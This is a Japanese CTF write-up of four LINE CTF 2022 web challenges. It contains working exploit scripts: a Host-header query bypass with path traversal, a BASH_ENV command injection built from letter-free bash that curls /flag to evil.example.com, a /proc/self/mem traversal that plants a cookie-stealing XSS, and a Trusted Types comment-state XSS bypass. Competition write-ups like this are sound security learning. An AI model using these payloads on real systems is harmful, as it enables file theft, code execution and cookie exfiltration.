LINE CTF 2022 writeup (web challs)

Tweet

LINE CTF 2022 に ./Vespiary で参加して13位でした!

解いたweb問のwriteupを書きます。

感想

LINE CTFは去年から始まって2回目です。企業が大きめの賞金を出してCTFを主催しているのは貴重だし、こういう風潮ができると世間的にも盛り上がりが増すと思うので、CTF playerとしても非常にありがたいです。感謝しかない。

問題については、ツイートでも言ってますがweb問はどれも質が高く内容もおもしろかったです。来年も開催されるなら是非参加したいです(来年も開催お願いします!)。

また、昨年は難しい問題に全然太刀打ちできなかった記憶があるのですが、今年は比較的多くの問題が解けて成長を実感できてうれしいです。精進していきたい。解けなかった(というより挑む時間が割けなかった)問題も復習したいので、問題ファイルや公式writeupが公開されるといいな。

[web] Memo Drive

147 pts, 42 solves

問題文:

(なし)

問題概要

  • Starlette製のメモ投稿サービス
  • フラグは問題サーバの ./memo/flag に置かれている

解法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# index.py

def view(request):
context = {}

try:
context['request'] = request
clientId = getClientID(request.client.host)

if '&' in request.url.query or '.' in request.url.query or '.' in unquote(request.query_params[clientId]):
raise

filename = request.query_params[clientId]
path = './memo/' + "".join(request.query_params.keys()) + '/' + filename

f = open(path, 'r')
contents = f.readlines()
f.close()

context['filename'] = filename
context['contents'] = contents

except:
pass

return templates.TemplateResponse('/view/view.html', context)

/viewのエンドポイントで、pathの値が./memo/flag相当のパスになるようなリクエストを送れたらフラグファイルが見れる。ただし、クエリのバリデーションがあるせいで簡単にはpath traversalができないようになっている。

バリデーションにrequest.url.queryrequest.query_paramsの2種類を使っているのが怪しい。

request.url.queryの実装を見てみると、HOSTヘッダを参照してURLを解釈していることがわかった:

よって、リクエストにHost: example.com#のヘッダを付けるとURLのドメイン以降がすべてフラグメントとして解釈されてrequest.url.queryが空文字列になる。

一方で、request.query_paramsHOSTヘッダに左右されないのでこの実装の差異を用いてbypassが可能。あとはpath traversalをするだけ。

攻撃

以下のようなリクエストを投げるとOK。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
$ http "http://34.146.195.115/view?9dd4e461268c8034f5c8564e155c67a6=flag&%2F.." Host:"example.com#"
HTTP/1.1 200 OK
content-length: 683
content-type: text/html; charset=utf-8
date: Sat, 26 Mar 2022 18:07:05 GMT
server: uvicorn

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<script type="text/javascript" src="/memo.js"></script>
<script type="text/javascript" src="/jquery.min.js"></script>
<link rel="stylesheet" type="text/css" href="/static/memo.css">

<title>Simple Memo</title>
</head>
<body>
<div class="main">
<p>
<span>flag</span><br/>
<input type="button" id="memo-button" value="BACK" onclick="history.back()"/><br/>
<span id="memo-box">


LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}

</span>
</p>
</div>
</body>
</html>

フラグ

1
LINECTF{The_old_bug_on_urllib_parse_qsl_fixed}

[web / misc] bb

179 pts, 27 solves

問題文:

Read /flag

問題概要

  • miscタグがついてるPHPのweb問
  • フラグは問題サーバの/flagに置かれている

PHPのコードはこれだけ:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//
<?php
error_reporting(0);

function bye($s, $ptn){
if(preg_match($ptn, $s)){
return false;
}
return true;
}

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i") && bye($v, "/[a-zA-Z]/i")) {
putenv("{$k}={$v}");
}
}
system("bash -c 'imdude'");

foreach($_GET["env"] as $k=>$v){
if(bye($k, "/=/i")) {
putenv("{$k}");
}
}
highlight_file(__FILE__);
?>
  • クエリパラメータで環境変数を登録できる
    • bye関数でバリデーションあり
  • bashで存在しないコマンドimdudeを呼んでいる

解法

まず、存在しないコマンドを叩いてるのは明らかにおかしいので、ここが問題の中心。bashにいい感じの環境変数を渡すことで、存在しないコマンドを叩いたときの挙動が変わることができたらうれしい。

調べてみるとshell shock[1]の記事が見つかった:

今回の問題であれば、BASH_FUNC_imdude%%の環境変数を任意に登録できたら任意コード実行が可能になる。ただし、system関数実行時に経由するsh(中身はdash)が%を含む名前の環境変数を拒否するということをチームメンバが発見してくれて、無理だということがわかった。

途方に暮れていたら、チームメンバが

1
BASH_ENV=$(cat /flag | hogehoge)

のように環境変数を登録すると任意コード実行できることを発見してくれたので、あとは環境変数の値部分のバリデーションをbypassするだけとなった。

環境変数の値は"/[a-zA-Z]/i"にマッチしないようにする必要がある。これはシュル芸で記号オンリーでアルファベットを生成する手法がある[2]ので、それを使えばOK:

攻撃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import httpx
import string
from urllib.parse import quote

BASE_URL = "http://34.84.94.104"
# BASE_URL = "http://localhost:3000"

HOOK_URL = "https://evil.example.com"

COMMAND = f'curl "{HOOK_URL}/$(cat /flag)"'

# ref. https://www.ryotosaito.com/blog/?p=194
ALPHABET_PAYLOAD = r'__=$(($$/$$));___=$(($__+$__));____=$(.&>/???/??/$__);____=${____##*.};_____=$(${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__} -${____:$__$(($__+$___)):$__}&>/???/??/$__);_____=${_____##*${____:$(($___$(($$-$$))-$__)):$__}${____:$___*$___:$__}${____:$(($___$(($$-$$))-$___)):$__}};_____=${_____,,};______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___+$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___*$___-$__))${____:$__$__:$__}}")));_______=($(${____:$(($___*$___)):$__}${_____:$__$(($___*$___)):$__}${____:$(($___*$___+$___)):$__}${____:$(($___+$__)):$__} ${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} $(${____:$(($___*$___)):$__}${_____:$(($___*$___*$___*$___+$__)):$__}${_____:$(($___*$___*$___-$__)):$__}${_____:$___$(($___*$___)):$__} -${____:$(($___*$___)):$__} "{\\${____:$__$(($___*$___)):$__}$(($___*$___))$__..\\${____:$__$(($___*$___)):$__}$(($___*$___+$__))${____:$__$__:$__}}")))'
# echo ${______[1]} -> b
# echo ${_______[1]} -> B


def convert_char(c: str) -> str:
assert len(c) == 1
i = string.ascii_lowercase.find(c)
if i >= 0:
return "${______[" + str(i) + "]}"
i = string.ascii_uppercase.find(c)
if i >= 0:
return "${_______[" + str(i) + "]}"
return c


converted_command = "".join([convert_char(c) for c in COMMAND])
result_payload = f"$({ALPHABET_PAYLOAD};{converted_command})"

res = httpx.get(
f"{BASE_URL}?env[BASH_ENV]={quote(result_payload)}"
)
assert res.status_code == 200

print(res.text)

フラグ

1
LINECTF{well..what_do_you_think_about}

[web] online library

210 pts, 19 solves

問題文:

Some weird book library web is under developing now.

問題概要

  • Express製
  • bot(クローラ)のクッキーにフラグがセットされる

解法

/:t/:s/:e のエンドポイントでpath traversalが可能で、問題サーバ上のread権限がある任意のファイルをoffsetとlengthの指定付きで読むことができる。また、テキストはHTMLとして表示されるので、XSSペイロードを含むテキストをbotにアクセスさせると攻撃が成立する。

ところで、/proc/self/memも読めるのでメモリの中身を直接取り出せる。XSSペイロードがnodeプロセスのメモリに残るような適当なリクエストをあらかじめ投げておいて、メモリ上のペイロードの位置を特定してから、botがそこのメモリを読むようにreportすれば良さそう。

試しに/identifyエンドポイントでusernameに入れた文字列がメモリ上に残ることを確認したので、上記の攻撃は成立する。

攻撃

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
import httpx
import time

BASE_URL = "http://35.243.100.112"
# BASE_URL = "http://localhost:10100"

HOOK_URL = "https://evil.example.com"
EVIL_CODE = f'</script><script>location="{HOOK_URL}/"+document.cookie</script>'.encode()


MAPS_PREFIX = "<h1>../../../../proc/self/maps</h1><hr/>"
MEM_PREFIX = "<h1>../../../../proc/self/mem</h1><hr/>"

MAX_LEN = 1024 * 256

res = httpx.get(
f"{BASE_URL}/..%2F..%2F..%2F..%2Fproc%2Fself%2Fmaps/0/6196",
)
assert res.status_code == 200

open("data/maps", "wb").write(res.content)

maps = res.content[len(MAPS_PREFIX):].rstrip(b"\x00")

for line in maps.split(b"\n"):
if b"[heap]" in line:
print(line)
parts = line.split(b" ")[0].split(b"-")
mem_start = int(parts[0], 16)
mem_end = int(parts[1], 16)

for i in range(1000):
start = mem_start + MAX_LEN*i
end = min(mem_end, mem_start + MAX_LEN*(i+1))
if start > end:
break

res = httpx.get(
f"{BASE_URL}/..%2F..%2F..%2F..%2Fproc%2Fself%2Fmem/{start}/{end}",
timeout=5,
)
assert res.status_code == 200

mem = res.content[len(MEM_PREFIX):].rstrip(b"\x00")

open(f"data/mem/{start}_{end}", "wb").write(mem)

index = mem.find(EVIL_CODE)
if index >= 0:
margin = 1024 * 50

code_start = start + index
code_end = start + (index + len(EVIL_CODE))
evil_payload = f"/..%2F..%2F..%2F..%2Fproc%2Fself%2Fmem/{code_start - margin}/{code_end + margin}"
print(f"{evil_payload = }")

res = httpx.get(
f"{BASE_URL}{evil_payload}",
timeout=5,
)
assert res.status_code == 200
assert EVIL_CODE in res.content

exit(0)

time.sleep(0.5)
  1. 上記スクリプト内のEVIL_CODEの文字列を/identifyエンドポイントで送信。
  2. 上記スクリプトを実行。
  3. 表示されたURLをreportすると、フラグが降ってくる。

フラグ

1
LINECTF{705db4df0537ed5e7f8b6a2044c4b5839f4ebfa4}

[web] Haribote Secure Note

322 pts, 7 solves

問題文:

I LOVE MODERN FEATURES! MODERN IS THE SUPREME!!

問題概要

  • flask製のノート投稿サービス
  • bot(クローラ)のクッキーにフラグがセットされる
  • 投稿したノート一覧をbotに見せることが可能

解法

innerHTML経由で好きな文字列を代入することができるが、trustedTypesでXSSが防がれている:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<script nonce="{{ csp_nonce }}">
(() => {
trustedTypes.createPolicy("default", {
createHTML(unsafe) {
return unsafe
.replace(/&/g, "&amp;")
.replace(/</g, "&lt;")
.replace(/>/g, "&gt;")
.replace(/"/g, "&quot;")
.replace(/"/g, "&#039;")
}
});
})();
</script>

ただし、trustedTypesなどのCSPの機構はクライアントでの実行時の防御機構であるため、サーバ上でのレンダリング(テンプレートエンジンの文字列展開)はCSPの影響を受けない。

テンプレートエンジン経由でXSSが仕込めそうなのは、index.j2内の以下の2箇所:

1
2
3
4
5
6
7
8
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = "{{ shared_user_name }}";
/* ... snip ... */
}
/* ... snip ... */
</script>
1
2
3
4
5
6
<script nonce="{{ csp_nonce }}">
const render = notes => {
/* ... snip ... */
};
render({{ notes }})
</script>
  • {{ shared_user_id }}^[a-zA-Z0-9-_]{1,50}$のバリデーションがあるので使い物にならない。
  • {{ shared_user_name }}は任意文字列を仕込めるが、長さ上限が16で短い。
  • {{ notes }}はdictで、展開時に文字列に変換されてレンダリングされる。dict内のkey/valueのvalue部分に好きな文字列を仕込める。
    • ただし、'\'にエスケープされてしまうので、ここ単独だけではXSSはできない。

ちょうど{{ shared_user_name }}はHTML上部で{{ notes }}はHTML下部であるため、間の部分をいい感じにコメントアウトすれば、XSSができそう。

<script>周りのコメントアウトの仕様はややこしいが、試行錯誤したら間の部分をscript data double escaped stateにすることで実現できた:

攻撃

  1. 以下の内容のノートを投稿する:
    1
    --> */ };location="https://evil.example.com"+document.cookie</script></div></body></html><!--
  2. "/*<!--<script>をdisplayNameにする。
  3. botにreportする。

最終的に

1
2
3
4
5
6
7
8
9
10
11
<!-- snip -->
<script nonce="{{ csp_nonce }}">
const printInfo = () => {
const sharedUserId = "{{ shared_user_id }}";
const sharedUserName = ""/*<!--<script>";

ここの部分が script data double escaped state で無視される

render([{... snip ... : '--> */ };location="https://evil.example.com"+document.cookie</script></div></body></html><!--'}])
</script>
{% endblock %}

のようなHTMLになり、フラグGET。

フラグ

1
LINECTF{0n1y_u51ng_m0d3rn_d3fen5e_m3ch4n15m5_i5_n0t_3n0ugh_t0_0bt41n_c0mp13te_s3cur17y}

  1. 結局この問題では使えなかったが、名前は聞いたことがあったが中身を知らなかった有名脆弱性だったので丁度よい勉強になった。 ↩︎

  2. 日本はシェル芸が活発な界隈(?)があるので、資料が豊富でいいですね。この手の問題は日本人が有利かも。 ↩︎